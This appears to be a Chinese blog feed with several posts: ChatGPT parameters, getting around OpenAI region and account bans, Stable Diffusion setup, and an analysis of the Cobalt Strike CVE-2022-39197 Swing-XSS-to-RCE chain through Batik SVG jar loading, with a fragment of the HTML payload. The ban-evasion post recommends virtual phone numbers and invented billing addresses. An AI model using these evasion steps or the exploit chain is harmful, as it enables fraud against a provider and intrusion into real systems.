除了简单的对话技巧以及各种方案,ChatGPT还提供了不少的额外参数以影响返回的结果,其中我挑部分我觉得比较有意思的参数
temperature这个参数官方给出的解释是,衡量模型输出不太准确信息的频率,temperature越高,输出越随机,并更具有创造性。但相比官方的解释,我们甚至可以把temperature理解为情感值或者温度值。
temperature默认是0.8,最高为2。通常来说,在询问具有创造力的结果时,可以让temperature提高,来获得更有意思的结果。在询问某些事实或者准确的内容时,可以降低temperature来获得更准确的结果。你可以在调用api的时候设置这个参数来控制它。
这是temperature为0.2时返回的结果。
当temperature为2的时候,chatgpt就有点儿傻,返回的非准确内容中会大量的随机各种结果。
当temperature为1的时候,chatgpt相对比较平衡
presence_penalty也是一个比较常见的参数,我们可以把这个参数认为是话题新鲜度,也可以认为是话题拓展的可能性。这个值越大,chatgpt在对话中也会越主动的发起新的分支。
这个值默认是0,可以从-2到2之间。
我自己尝试了一下感觉这个参数的表现其实比较弱,一般的问题回复其实是感受不到的。
frequency_penalty整体上和presence_penalty类似,主要是控制总体使用频率较高的单词和短语概率,这个值越高,chatgpt中就会尽量减少重复。
这个值默认是0,可以从-2到2之间。
标志返回的token长度的硬截止限制,这个token之前也说过其实标志是的是单词或者短语,这个计算方式相当宽泛,所以一般设置max_tokens就是为了保底,避免某些特殊的问题导致超长的回复浪费api的资源。
一个特殊标记,可以在文本生成过程中暂停文本的生成。
掌握了ChatGPT简单问答式的用法,就相当于我们已经学会了用铲子铲土。
而在ChatGPT基础上做进一步的探索相当有趣,下篇文章就讲讲怎么用铲子盖房子。
]]>相比基于ChatGPT的探索,openai的平台和国内的对抗反倒在潜移默化的升级,我没有了解过openai到底有什么样的背景导致一直执着于国内使用者的封禁,这篇文章就先讲讲我在这个过程的所有探索以及相应的解决方案吧。
这个东西是在使用ChatGPT过程中遇到的最大的问题,而且其中的相应策略极其复杂,这里只列举我撞到的策略和绕过方案。
首先来源IP这块就不用多说了,你正常直接去访问openai.com都会撞到GFW的拦截,当然作为技术从业者有自己的科学手段自然不用多说了,但如果说GFW是你入门的门槛的话,那chatgpt使用的方案可以说是釜底抽薪。国内百分之90的科学手段大抵上都是利用国外的服务器来实现的,而且除开使用机场的朋友以外,大部分都是使用比较有名的各种云服务器,chatgpt搞得第一个门槛就是,封禁了大部分的云服务器ip以及网段。
这就直接导致了一个问题,就是在ip层面你就需要想办法绕过。
根据我的了解,其实大部分人都使用了比较冷门的云服务商或者比较冷门的机场来解决,这样比较一劳永逸,而我选择了用另一个方案就是v2ray+cf wrap,这里我就不详细解释具体是怎么回事了,大概是用了CF推出的一个相对比较真实的ip来做代理,很多朋友会用这个方案来绕过Netflix的限制。具体可以参考这个链接来实现。
https://github.com/willoong9559/XrayWarp
1、参考CF的文档来安装warp
https://developers.cloudflare.com/warp-client/get-started/linux/
2、注册客户端
1 | warp-cli register |
3、设置WARP代理模式
1 | warp-cli set-mode proxy |
4、连接WARP
1 | warp-cli connect |
此时WARP会使用socks5本机代理127.0.0.1:40000
5、打开warp always-on
1 | warp-cli enable-always-on |
6、测试socks代理,理检查ip是否改变
1 | export ALL_PROXY=socks5://127.0.0.1:40000 |
7、修改V2ray的配置
1 | "sniffing": { |
1 | "outbounds": [ |
1 | { |
1 | systemctl restart v2ray |
如果要应用geosite的域名列表,则需要下载geosite和geoip包放到/usr/local/bin中。
如果想要测试有没有效果,可以通过添加ipip的域名并访问ipip查看是不是服务器对应的ip。
当配置完warp其实正常的服务器就可以正常使用了,如果你刚好有没有被封的账号,那你现在已经可以正常使用了。
但如果你的账号以某种方式被封了,到这里你还是没办法使用。(有趣的是,这种封禁并不是永久的,他会以某种方式被解封)
而更糟糕的问题是,如果你试图注册一个新的账号,那么很大概率会提示,相同的ip下注册请求过多。
关于这个问题其实我没有找到特别完美的方案来解决,网上在这一步使用的方案大多是使用一个冷门的服务器上直接在windows服务器上远程操作实现又或者是让别人来注册。
其实在openai的设定中有个很有意思的设定,就是chatgpt平台和API平台是分开的。
首先大家比较常说的chatgpt其实是在线的一个平台,也就是我们见的最多的对话平台。
这个平台的限制最严格,账号最容易被封,但优势是在这个网页我们可以获得一手的使用体验,如果升级plus还可以优先使用chatgpt后续的最新更新。
但事实上大部分朋友其实是不需要这些东西的,我们可以通过chatgpt的api配合一些第三方开发的平台来实现。
而ChatGPT的API我们可以在openai的platform上看到
这个平台其实对国内用户的封禁是没那么严格的,而且刚注册的账号是可以在前3个月使用免费的18刀额度,所以很多人其实是选择用这个接口来使用的
如果你把免费的额度使用完之后,你可能会遇到无法付费的问题,具体可以看后面。
在openai的platform后台可以新建一个API keys
配合一些现在做的很不错的二次开发平台,能体验到比原版chatgpt更实用的感受。有一个比较好用的ChatGPT Next Web
https://github.com/Yidadaa/ChatGPT-Next-Web
ChatGPT Next Web提供了一个基于vercel实现的方案,可以允许做一个私有化的平台,并利用web pages功能+绑定自定义域名部署在网上,这个方案相当实用,同样也不依赖科学上网。
在初版的ChatGPT注册的时候其实是没有这个限制的,所以大部分朋友估计都没有遇到过这个问题,我最早的账号直接就是Gmail注册的也没遇到类似的问题,但是在最近chatgpt封禁了大部分我们能用到的邮箱。
正常来说的话,其实我们国内能用得到的大部分邮箱里只有gmail可以正常使用了,但是gmail的注册最近也有一些问题这里就先不聊。
如果你的账号是因为邮箱被封禁,会在注册的时候出现类似的提示。
其实比较实用的方案还是用自己的域名,绑定自定义域名应该可以绕过这个问题。但是要搞一个企业邮箱,这里先不提了。
在解决了邮箱的问题之后,你遇到的第二个问题就是手机号封禁,在注册openai的账号的同时你需要一个国外的手机号接受短信,一般来说SMS Active是比较实用的一个网站,国内可以直接用visa卡来支付,收费也不贵以后也用得到.
这个网站租用的虚拟手机号是专门用来注册各种各样的网站的,其中就有openai,我们可以直接选openai
然后选择对应的国家点击购买就会获得一个随机的手机号,复制手机号到openai对应激活接受短信即可。由于这个平台大家使用的还是比较多的,所以可以用稍微冷门一点儿的国家手机号有效度比较高,如果激活失败可以多尝试几个手机。
当你搞定所有的问题之后,你可能会遇到一些使用上的问题,这里我写两个最常见的问题。
首先大家比较常说的chatgpt其实是在线的一个平台
在这个平台里可以选择不同的model比如GPT4,每个session都是独立的,会保存一定程度的上下文,但同样有很多的限制,其中最常见的就是GPT-4,3小时只能发送25条消息。
而ChatGPT plus也是针对这个页面的收费服务,ChatGPT本身是免费的,但如果你订阅ChatGPT plus会有很多额外的权益,其中最实用的就是更快的响应速度和新功能优先使用。
但其中容易被忽略的问题是,ChatGPT plus看上去并不便宜,需要20刀每个月,但其实并不提升API,plus只是单纯针对Chat网页的优化,而更关键的是,由于ChatGPT在后续的更新中加入了CF做防护,现在基本上已经没办法通过通过第三方来模拟ChatGPT了,大部分都是使用官方提供的API接口。
而API的收费方式是根据tokens计算的,你可以简单的把tokens认为是单词片段。
而ChatGPT的API我们可以在openai的platform上看到
这个平台其实对国内用户的封禁是没那么严格的,而且刚注册的账号是可以在前3个月使用免费的18刀额度,所以很多人其实是选择用这个接口来使用的
如果你解决不了chat界面的封禁,可以尝试直接使用api来使用,也是个不错的方案。
当你把免费额度使用完之后,你会遇到一个新的问题,就是如何支付?
其实除开服务器的ip限制,最麻烦的问题就是这个,其实大部分的国外网站都是可以使用visa卡直接支付的,很多银行都有全球卡,但麻烦的是,openai似乎对这方面做了一定的限制,你无法使用国内银行卡来支付,你会遇到一个类似这样的提示。
我在研究了很多方案以后,得到了一个最简单的方案,就是depay,这个东西其实最近也挺流行的,depay使用usdt作为标准代币可以申请虚拟信用卡,而且depay的信用卡相当实用,申请的虚拟卡甚至可以绑定微信和支付宝,可以用来把国外的赏金转回来。但比较麻烦的是,depay必须使用udst充值,这方面我就不科普了,可以用各大平台APP来c2c交易。感兴趣的话可以用我的邀请链接注册。
https://depay.depay.one/web-app/register-h5?invitCode=689747&lang=zh-cn
搞定虚拟信用卡之后可以直接在后台绑定卡,要注意depay必须提前充值余额进去才能使用。
要注意下面的账单地址最好找个国外的地址,否则可能会触发一些限制,比较简单的方案是直接在google map上搜一个地址贴上去。
基本上找个差不多的地址都ok。正常添加完就可以使用了,注意可以加入一点儿使用限制,避免超额
其实在你接触到ChatGPT之前,你可能会接受到无限的关于ChatGPT的吹捧。但当你真正使用ChatGPT的时候,你可能玩的很开心,但确想不到这个东西究竟有啥用,因为他又不能用来查询资料,也不能凭空做工作。当你冷静下来可能会觉得ChatGPT更像是个玩具。
但ChatGPT其实更像是一把铲子,在拥有这把铲子之前,我们只知道可以把土堆成房子,但是不知道用什么把土堆起来,但在有了这把铲子之后,铲土只是铲子最直白的利用,如何用铲子堆一个又大又漂亮的房子可能我们还不知道,但至少我们现在已经开始尝试做这样的事情了。
关于具体的使用方案,在这篇入门篇先不提,下篇再见。
]]>这次我是用的是Stable Diffusion WebUI来生成ai图,这是一款现在非常流行的用ai来绘图的开源工具,给出一组描述词,ai就可以根据描述词画出你想要的图片。现在使用最多的是AUTOMATIC1111改进的图形化版本,支持Linux/Windows/MacOS系統,以及Nvidia/AMD/Apple的GPU,几乎没有门槛,装好即用。
需要注意的是,这个玩意及其吃GPU以及显存,我的工作机跑这个一下就卡死了,很吃力。
Stable Diffusion生成图需要基础模型,主要有两部分
GFPGAN可以去https://github.com/TencentARC/GFPGAN/releases/tag/v1.3.4直接下载
还有一部分是绘图相关的模型,这部分模型有很多,可以在很多不同的网站上搜索下载,比如https://huggingface.co/models或者https://civitai.com/都是比较有名的模型下载网站
名称 | 说明 | 下载 |
---|---|---|
Stable Diffusion | CompVis发布的基础模型,适合真人和动物。 | HuggingFace |
Chilloutmix | 写实风格的模型,融合真人和动漫风格 | HuggingFace |
Anything | 适合漫画 | HuggingFace |
Waifu Diffusion | 使用Danbooru图库训练而成,适合漫画 | HuggingFace |
你也可以选择在civitai上直接找自己喜欢的模型下载,ckpt后缀和safetensors后缀都快可以。
在筛选中勾选Checkpoint对应的就是基础绘画模型。
1、首先从github下载源码
1 | git clone https://github.com/AUTOMATIC1111/stable-diffusion-webui.git |
2、把前面下载的GFPGANv1.4.pth放在对应的文件夹下。
3、下载相应的各种依赖库,windows执行bat,linux执行sh。
1 | cd stable-diffusion-webui |
每次运行的时候都会通过git同步最新版本的各种库,第一次运行的时候会下载各种依赖库,有点儿大而且涉及github,快的话大概30分钟左右,慢的话可能会很慢。
如果显示web的链接,那么说明所有的依赖已经下载成功了。要注意的是,依赖当中有关torch有可能会遇到很多报错,可以考虑手动下载安装
4、安装对应的绘画模型
前面提到的https://huggingface.co/models或者https://civitai.com/中下载的模型需要放在models/Stable-diffusion/中
5、如果GPU的显存小于4G,那么你可以在在启动脚本当中加入–medvram,windows编辑webui-user.bat。
6、当你打开对应的链接可以访问使用时,说明已经安装成功了。
使用Stable Diffusion生成图时,最重要的就是关键字,分别是正向关键字和负向关键字。
无论是那个模式都是通过关键字来影响图片生成,这个关键字主要有几个部分。
这里也分享一个Hentai Diffusion分享的万用的负向关键字,可以防止出现断手断脚
1 | (((deformed))), blurry, bad anatomy, disfigured, poorly drawn face, mutation, mutated, (extra_limb), (ugly), (poorly drawn hands), fused fingers, messy drawing, broken legs censor, censored, censor_bar, multiple breasts, (mutated hands and fingers:1.5), (long body :1.3), (mutation, poorly drawn :1.2), black-white, bad anatomy, liquid body, liquidtongue, disfigured, malformed, mutated, anatomical nonsense, text font ui, error, malformed hands, long neck, blurred, lowers, low res, bad anatomy, bad proportions, bad shadow, uncoordinated body, unnatural body, fused breasts, bad breasts, huge breasts, poorly drawn breasts, extra breasts, liquid breasts, heavy breasts, missingbreasts, huge haunch, huge thighs, huge calf, bad hands, fused hand, missing hand, disappearing arms, disappearing thigh, disappearing calf, disappearing legs, fusedears, bad ears, poorly drawn ears, extra ears, liquid ears, heavy ears, missing ears, fused animal ears, bad animal ears, poorly drawn animal ears, extra animal ears, liquidanimal ears, heavy animal ears, missing animal ears, text, ui, error, missing fingers, missing limb, fused fingers, one hand with more than 5 fingers, one hand with less than5 fingers, one hand with more than 5 digit, one hand with less than 5 digit, extra digit, fewer digits, fused digit, missing digit, bad digit, liquid digit, colorful tongue, blacktongue, cropped, watermark, username, blurry, JPEG artifacts, signature, 3D, 3D game, 3D game scene, 3D character, malformed feet, extra feet, bad feet, poorly drawnfeet, fused feet, missing feet, extra shoes, bad shoes, fused shoes, more than two shoes, poorly drawn shoes, bad gloves, poorly drawn gloves, fused gloves, bad cum, poorly drawn cum, fused cum, bad hairs, poorly drawn hairs, fused hairs, big muscles, ugly, bad face, fused face, poorly drawn face, cloned face, big face, long face, badeyes, fused eyes poorly drawn eyes, extra eyes, malformed limbs, more than 2 nipples, missing nipples, different nipples, fused nipples, bad nipples, poorly drawnnipples, black nipples, colorful nipples, gross proportions. short arm, (((missing arms))), missing thighs, missing calf, missing legs, mutation, duplicate, morbid, mutilated, poorly drawn hands, more than 1 left hand, more than 1 right hand, deformed, (blurry), disfigured, missing legs, extra arms, extra thighs, more than 2 thighs, extra calf,fused calf, extra legs, bad knee, extra knee, more than 2 legs, bad tails, bad mouth, fused mouth, poorly drawn mouth, bad tongue, tongue within mouth, too longtongue, black tongue, big mouth, cracked mouth, bad mouth, dirty face, dirty teeth, dirty pantie, fused pantie, poorly drawn pantie, fused cloth, poorly drawn cloth, badpantie, yellow teeth, thick lips, bad camel toe, colorful camel toe, bad asshole, poorly drawn asshole, fused asshole, missing asshole, bad anus, bad pussy, bad crotch, badcrotch seam, fused anus, fused pussy, fused anus, fused crotch, poorly drawn crotch, fused seam, poorly drawn anus, poorly drawn pussy, poorly drawn crotch, poorlydrawn crotch seam, bad thigh gap, missing thigh gap, fused thigh gap, liquid thigh gap, poorly drawn thigh gap, poorly drawn anus, bad collarbone, fused collarbone, missing collarbone, liquid collarbone, strong girl, obesity, worst quality, low quality, normal quality, liquid tentacles, bad tentacles, poorly drawn tentacles, split tentacles, fused tentacles, missing clit, bad clit, fused clit, colorful clit, black clit, liquid clit, QR code, bar code, censored, safety panties, safety knickers, beard, furry, pony, pubic hair, mosaic, futa, testis, (((deformed))), blurry, bad anatomy, disfigured, poorly drawn face, mutation, mutated, (extra_limb), (ugly), (poorly drawn hands), fused fingers, messy drawing, broken legs censor, censored, censor_bar, multiple breasts, (mutated hands and fingers:1.5), (long body :1.3), (mutation, poorly drawn :1.2), black-white, bad anatomy, liquid body, liquidtongue, disfigured, malformed, mutated, anatomical nonsense, text font ui, error, malformed hands, long neck, blurred, lowers, low res, bad anatomy, bad proportions, bad shadow, uncoordinated body, unnatural body, fused breasts, bad breasts, huge breasts, poorly drawn breasts, extra breasts, liquid breasts, heavy breasts, missingbreasts, huge haunch, huge thighs, huge calf, bad hands, fused hand, missing hand, disappearing arms, disappearing thigh, disappearing calf, disappearing legs, fusedears, bad ears, poorly drawn ears, extra ears, liquid ears, heavy ears, missing ears, fused animal ears, bad animal ears, poorly drawn animal ears, extra animal ears, liquidanimal ears, heavy animal ears, missing animal ears, text, ui, error, missing fingers, missing limb, fused fingers, one hand with more than 5 fingers, one hand with less than5 fingers, one hand with more than 5 digit, one hand with less than 5 digit, extra digit, fewer digits, fused digit, missing digit, bad digit, liquid digit, colorful tongue, blacktongue, cropped, watermark, username, blurry, JPEG artifacts, signature, 3D, 3D game, 3D game scene, 3D character, malformed feet, extra feet, bad feet, poorly drawnfeet, fused feet, missing feet, extra shoes, bad shoes, fused shoes, more than two shoes, poorly drawn shoes, bad gloves, poorly drawn gloves, fused gloves, bad cum, poorly drawn cum, fused cum, bad hairs, poorly drawn hairs, fused hairs, big muscles, ugly, bad face, fused face, poorly drawn face, cloned face, big face, long face, badeyes, fused eyes poorly drawn eyes, extra eyes, malformed limbs, more than 2 nipples, missing nipples, different nipples, fused nipples, bad nipples, poorly drawnnipples, black nipples, colorful nipples, gross proportions. short arm, (((missing arms))), missing thighs, missing calf, missing legs, mutation, duplicate, morbid, mutilated, poorly drawn hands, more than 1 left hand, more than 1 right hand, deformed, (blurry), disfigured, missing legs, extra arms, extra thighs, more than 2 thighs, extra calf,fused calf, extra legs, bad knee, extra knee, more than 2 legs, bad tails, bad mouth, fused mouth, poorly drawn mouth, bad tongue, tongue within mouth, too longtongue, black tongue, big mouth, cracked mouth, bad mouth, dirty face, dirty teeth, dirty pantie, fused pantie, poorly drawn pantie, fused cloth, poorly drawn cloth, badpantie, yellow teeth, thick lips, bad camel toe, colorful camel toe, bad asshole, poorly drawn asshole, fused asshole, missing asshole, bad anus, bad pussy, bad crotch, badcrotch seam, fused anus, fused pussy, fused anus, fused crotch, poorly drawn crotch, fused seam, poorly drawn anus, poorly drawn pussy, poorly drawn crotch, poorlydrawn crotch seam, bad thigh gap, missing thigh gap, fused thigh gap, liquid thigh gap, poorly drawn thigh gap, poorly drawn anus, bad collarbone, fused collarbone, missing collarbone, liquid collarbone, strong girl, obesity, worst quality, low quality, normal quality, liquid tentacles, bad tentacles, poorly drawn tentacles, split tentacles, fused tentacles, missing clit, bad clit, fused clit, colorful clit, black clit, liquid clit, QR code, bar code, censored, safety panties, safety knickers, beard, furry, pony, pubic hair, mosaic, futa, testis |
在进入web平台之后,左上角可以选择你使用的绘画模型。
我使用的过程中发现,这个绘画模型要比关键字对绘图来说更关键,如果有一个很好的绘画模型会很容易生成好看的图,而stable diffusion提供了合并模型的功能,而现在很多不错的模型都是混搭出来的,比如最近非常流行的Korean Doll Likeness就是由Uber Realistic Porn Merge (URPM)-0.7 and ChilloutMix-0.3混搭而来。
你也可以选择用这个功能混搭一个自己喜欢的基础模型。
前面提到stable diffusion生成图片是通过关键字实现的,除了文字以外,还提供了提供图片生成的图生图功能。你可以使用上传图片+关键字组合的方式生成图片。
其中的很多配置我也没搞明白,就说几个比较关键的配置。
在了解的前面的东西之后,你应该可以生成一些各种类型的图片了,但是我说实话,生成的很多图效果都很差,这个时候可以去civitai上去逛一逛,找一点儿别人分享的图和参数来看看。
随便选一个喜欢的分享,点进去往下翻,可以看到很多使用该模型生成的图
随便选一个喜欢的图,右下角点击叹号,可以看到生成该图使用的各种参数。
你可以把所有的配置直接偷下来,使用该种子就可以生成你想要的图,也可以不指定种子就可以用这个模板来生成图。
除了这种比较简单的关键字参数以外,你还可以在stable diffusion引用lora模型,在civitai上筛选LORA
选择一个你喜欢的LORA模型,在右上角下载。
然后放在models/Lora里面
然后在右边generate的下面点击粉色图标,点到Lora中就可以看到刚才导入的Lora模型
点选就可以在关键字的基础上再引入额外的绘画模型。可以画出更有风格的图。
除了简单的生成图片以外,stable diffusion还有很神奇的功能是辅助绘制,在图生图里,有个分栏叫Inpaint,你可以选择涂黑图片的一部分,ai就只会修改涂黑的部分
比如这里我涂黑了裙子部分,ai就自动生成了一个腰带,通过这个功能可以智能的修改某个东西,还是很有趣的。
其实这个玩意出来已经很多年了,之前看过一些但是当时还比较简单,大部分只是基于图包训练,很多结果说实话都很一般,最近又火起来之后就又研究了一下,没想到这个玩意已经成熟到这个地步了,感觉还蛮有意思的,很多图成熟度已经非常高了,估计以后会有大量的赛博偶像了:>
]]>https://mp.weixin.qq.com/s/l5e2p_WtYSCYYhYE0lzRdQ
但是不知道是我的java水平真的不够,又或者说这篇文章中隐去的部分太多了,我顺着文章研究了一段时间但是几个点都串不起来。后来又接二连三的看了几篇文章,直到看完@pang0lin才算是把逻辑串联起来许多
这篇文章不知道什么时候发出来,主要是记录一下整个复现分析的心路历程,以便以后需要的时候没处看。
https://www.cobaltstrike.com/blog/out-of-band-update-cobalt-strike-4-7-1/
CVE-2022-39197
An independent researcher identified as “Beichendream” reached out to inform us about an XSS vulnerability that they discovered in the teamserver. This would allow an attacker to set a malformed username in the Beacon configuration, allowing them to remotely execute code. We created a CVE for this issue which has been fixed.
这个漏洞在cs的 4.7.1版本中被修复,他允许攻击者可以伪造用户名来构造xss,通过xss利用可以造成RCE。
修复的手段也很简单,就是把这个xss给修了,正所谓只要入口点没了,你后面也利用不起来。
在理解这个漏洞之前,我们首先需要理解cs和swing这个框架的关系。
众所周知,Cobalt Strike是世界上最流行的网站管理工具,cs提供了允许多个目标通过非对称的加密方式链接teamserver,在这个过程中,只要传输的数据可以被teamserver解开,那么这个连接就会上线,这本质上就是一个简单的服务通信逻辑,这没什么问题。
而这个公钥呢可以从Beacon stage的bin文件中获取,相关的脚本其实也可以多,比如
https://github.com/LiAoRJ/CS_fakesubmit
本地测试的话,可以用更简单这个解密脚本获得这个公私钥。
1 | import java.io.File; |
只要获得了公钥,那么我们就可以向teamserver传入一个虚假的会话上线,通过客户端链接服务端之后就可以看到这条链接。
在这个页面当中虽然说看上去信息很多,实际上可控的部分并不多,这一点在漂亮鼠的文章中有详细的解释,主要是数据结构中的可控点问题
https://mp.weixin.qq.com/s/l5e2p_WtYSCYYhYE0lzRdQ
这里我们先不深究cs的传输协议,我们只需要关注,在这个页面中可以控制的其实就是中间的会话信息部分,其中包括总共117字节的user、computer、process一共3个部分
而且理论上来说,如果伪造脚本足够合理,那么由这个界面衍生出来的各种界面都是可以控制的,最简单的就比如原文提到的查看进程列表,但其实其他的比如查看文件管理等功能其实都差不多。
而前面说了这么多,和swing有什么关系呢?前面看到的所有画面都是用swing这个库画的,所谓的XSS也来源于这里。
https://docs.oracle.com/javase/tutorial/uiswing/components/html.html
从相关的官方文档可以知道,Swing本身是支持HTML的标签的。
只要在文本的开始加入html标签就会解析html标签,而比较有趣的事情是,这套html的解析引擎是他自己实现的,并不是引了一个第三方引擎。从swing的代码中可以看到这一点。
path: swing.text.html
)
而更有趣的是,类似script这种标签虽然解析,但是并没有用,而是套了一个娃直接关了
而这个漏洞的入口点XSS也正是由于这个原因,网上的很多分析文章也都是到这里为止,算是进了个门口
逻辑走到这里接下来最大的问题就是如何从XSS走到RCE,这也是这个漏洞最有意思的地方。
总所周知啊,一般来说我们常规意义上的XSS利用主要是围绕JS来做文章,即便是那种客户端的xss2rce,大多数也都是建立在Electron的基础上,说白了是在Node的环境下执行JS,由Node才从客户端走到服务端,才构成RCE。
而Swing不一样,它本质上是一个Java的组件,在Java环境上想要靠Xss来执行命令显然是天方夜谈,更关键的是,我们甚至没办法执行JS代码。
而有意思的点就在这里,因为这是一套Swing自己实现的解析引擎,所以它选择不解析script那我们又不能凭空变出来执行js的方法。而恰恰是因为自己实现了这套引擎,Swing自己也整了一些花活。
除了object其实也有一些奇奇怪怪的标签,但是大多数标签都被直接引到HiddenTagView了,只有少数的一些标签有专门的处理逻辑,object这个标签在这个逻辑里面显得有点儿特立独行,所以顺着这个逻辑直接往里走。
Path: swing.text.html.ObjectView.java
从这段代码看到,获取到classid的类会直接实例化并且相应传参,或许看代码可能还没看明白,这段代码上面还有一段范例。
直接快捷复制一下这段代码也可以看到结果
1 | package com.company; |
实际执行效果就是这个
好,现在我们获得了一个可以实例化任何类的入口,接下来的问题在于,我们需要找到一个满足所有条件的入口
首先我们需要看看这个想要调用的任意类有什么要求
1、这个类必须有无参的构造方法
2、这个类必须继承于Component
3、传入的参数必须是String类型
4、这个传入的参数必须是可写方法,换句话说就是必须有setxxxx方法
5、这个setxxxx方法必须只接受1个参数
把前面的所有条件聚合一下就得出了我们要找的这个类的要求
1、一个继承于Component的类,其中必须包含无参的构造方法。
2、这个类中需要有一个setXXX方法,这个方法必须只接受一个参数,而且可以接受String类型。
现在我们有了一个新的问题,就是如何找一个这样的类?找一个这样的方法?
到这里我们遇到了一个大坎,我研究了好一段时间,网上常用的一些工具我也尝试过一些,有各种各样的bug,最后用来用去还是选了用代码来扫描判断。
首先在IDEA导出继承自Component的所有类
然后直接写代码把所有类名导出来
)直接copy了pang0lin的代码(0v0),扫描所有类满足条件的方法
最终得到满足条件的所有结果
逻辑走到这一部分其实基本路就走的差不多了,关键就是如何筛选出有意义的方法。归根结底,其实是这个特征比较特别,只接受一个string类型参数的函数,还是set方法,这种类型的方法大概率都是对于某个参数的预处理,很难涉及到RCE相关的代码。
但这个先放在一边,首先可以去掉一些一看就没什么卵用的方法,比如setName、setLabel、setTitle、setAsText、setToolTipText。
然后还有很多那种多重继承一串的没有什么乱用的方法,就比如
说实话搞到这里,我脑子里想着都是,如果我当时写了java的代码分析工具就好了,我就可以直接扫了,到这块理论上来说只要有一个关键函数入口的判断就能省很多事了,只能快捷一个人工的审。
其实大概翻一翻swing库本身的几个方法,不难发现,swing的库几乎都是围绕窗口的,不是设置content type就是设置title,这类方法不用看都知道没啥用。
所以回到思路本身上来看,问题就在于什么类型的这种方法有可能构成RCE,显然在通用库或者swing上我们找不到这种问题的答案,于是我们将视角放回到cs当中,在更具体的场景下才更有可能找到直接关联到底层的方法。
我们把cs导入到Libraries中,然后重复这样的扫描。
其实到这里稍微筛选一下就很清楚了,主要是像前面一样,set函数基本上没什么功能,稍微花时间翻一下,我们得到最终的目标函数
1 | org.apache.batik.swing.JSVGCanvas-->setURI |
说实话到这里,如果看其他人发的几篇分析中后续的思路还是都挺神奇的,因为作为web🐕的我,看到load svg肯定脑子里转不过来在svg里加载java代码的想法,我说实话也不知道beichen最早的漏洞逻辑是不是这么走过来的,哪怕是后续复现漏洞的朋友,这个思路也是很妖。
按照web的逻辑去想,一个web层面的东西怎么会联系到java呢,这就要往代码里进去跟进去看了。
首先随便搞一个简单的svg然后引用一下试试看
到这里最关键的是找到具体svg的解析逻辑,但是这块代码不是很好跟,一般来说到xml这里第一反应肯定是XXE,然后我就顺手去搜了一下,结果还找到这个库之前报过的一个XXE漏洞,但是这个漏洞在1.9版本就已经修复了,现在的batik版本已经是1.14。
原文中展示了一个思路挺有意思的,其实走到svg第一反应肯定还是可以执行js,那么我们就尝试执行一个试试看
理所当然的报错了,这里我们顺着报错的执行顺序直接跟到具体的解析代码中
从这里可以找到一个关键方法org.apache.batik.bridge.BaseScriptingEnvironment.loadScripts
在这里的分支逻辑可以明显发现,如果var6不等于application/java-archive,我们就走到了刚才这个走不下去的分支,那么假设我们让var6满足条件,那么我们会走到什么分支呢?
从这里的代码可以明显发现,这里是从var26加载一个jar包,然后加载var13这个类,如果var26可控,那么我们就可以通过这种方式来构造RCE。
原文当中走到这里其实后续就是研究逻辑如何构造满足条件的svg文件逻辑了,但是到这里我想到,既然代码当中留了这样的一个功能,那么理论上来说就应该有类似的官方文档吧,于是开始顺着这个思路去找,首先发现的是,在cs漏洞曝光一段时间之后,batik也修复了这个漏洞。
甚至还有相应的补丁可以找到
https://github.com/apache/xmlgraphics-batik/commit/905f368b50c2567cf2c4869a0ab596a7b1b5125c
顺着这个思路尝试去找这个功能相关的文档,没想到文档没找到,但是却找到了不应该找到的东西
https://www.agarri.fr/blog/archives/2012/05/11/svg_files_and_java_code_execution/index.html
直接进行一个抄
本地测试也顺利执行了
在swing这边走完之后,我们先回到CS上,其实CS这边的问题也很简单,其实说白了就是长度问题,因为前面关于cs的交互包里提到过,我们可控的其实只有中间的会话信息部分,其中包括总共58的user、computer、process一共3个部分。
而前面我们构造出来的payload大概是120个字符,也就是说,在这个数据包的构造下我们是肯定没办法利用这个的,其实这部分逻辑在漂亮鼠的文章中已经讲的很详细了,这个绕过的方式也很简单,要不就是想办法找到满足要求的payload,要不就是想办法绕过这个长度限制。
首先我们必须要明白一个问题,就是这个所谓的长度限制来源于哪里,在漂亮鼠的分析文章里提到了,这个所谓的117个字节的长度限制,是来自于rsa的加密字符串长度,这一点我们可以在cs_fakesubmit这个脚本当中获得验证。
如果抛开太理论的部分,直接对上线包的做解密也能发现这个问题,可控部分位58个字符
换句话说,就是在数据包层面,这个长度是没办法绕过的,如果说上线包cs做了简单的长度限制和截断,但cs不可能所有的交互都有这样的限制,就比如最简单的获取进程列表,我们也可以从wireshark中确认这点。
而这些大段的数据是通过aes来加密的,同样的也没有长度限制,比较可惜的是,我研究了一下没有找到获取AES密钥的办法,那可以从相对简单的逻辑去解决这个问题,最简单的方式就是想办法控制一个进程名,你可以通过hook底层函数的方式,也可以通过别的任何方式解决,比较可惜的是,windows不允许文件名中包含<>,否则直接新建一个文件都可以实现目标。
现在我们将视角转换一下,现在想办法把payload压缩到58个字符以内,如果说object这个表现天生就自带长度无法满足要求,我们就需要寻找一个办法引入一个外界的东西去解决这个问题。我们再将视角转回到swing上面。
按照我们正常的思路的话,无非就两个办法,一个是想办法引入外界的链接或者脚本,比如iframe或者link这类。要不就是想办法拼接多个字符串。
前面的代码分析中也详细提到过,swing自己实现了一套标签解析逻辑,其中大部分的标签都没有实际的功能,而frame标签刚好不同。
这个代码逻辑有点儿怪,如果你直接输入
1 | <html><frame src=x> |
那么他会走到frameset逻辑里,然后就会有frameset的格式限制,但如果你在frame标签前面加入一点儿字符就能走进frame逻辑,说实话我翻了一下代码也没找到相关的逻辑,不过这个不重要,重要的是后续的问题。
1 | <html>a<frame src=x> |
如果我们尝试这样的payload,那么会报这样一个错
报这个错的原因是在逻辑中有强制类型转化错误
这里非常怪,因为在我看来这里的报错没有道理,如果说的代码本身没有bug,那么一定是哪里出了问题,我也在网上查了查相关的问题,也有的帖子说这是一个jdk8的问题,但我本地测试是不止影响jdk8的,关键在于这个被强制类型转化的类是从哪来的。然后追溯了一下这个frame的官方调用逻辑发现这个区别在于父组件的类型,如果测试代码是这样写的就可以触发逻辑。
那么顺着这个思路我去cs的代码里找找有没有类似的逻辑,结果果然找到了类似的东西而且的确可以触发逻辑链
在cs里面出现这种代码的位置有几个,主要包括
其中dialog.DialogUtils.java这段代码更像可控点
比较可惜的是,大概翻了一下相关的代码,没有找到那种明显可控的位置,更像是cs的二开或者插件会调用到的函数,而且这个东西也没法调试,算是比较麻烦的一点。这里就先不深入研究这里了,毕竟到这里基本上等于控制非上线包的功能了,其实逻辑基本上和前面模拟交互包类似。
由这里反推前面也能发现,其实frame这个标签本身使用方式没问题,而是场景问题,就像其他几篇文章里面提到的,在部分特定条件下,这个强制类型转化也是可以成功的,而在JEditorPane的组件场景下,如果可控那么payload也是同一个。
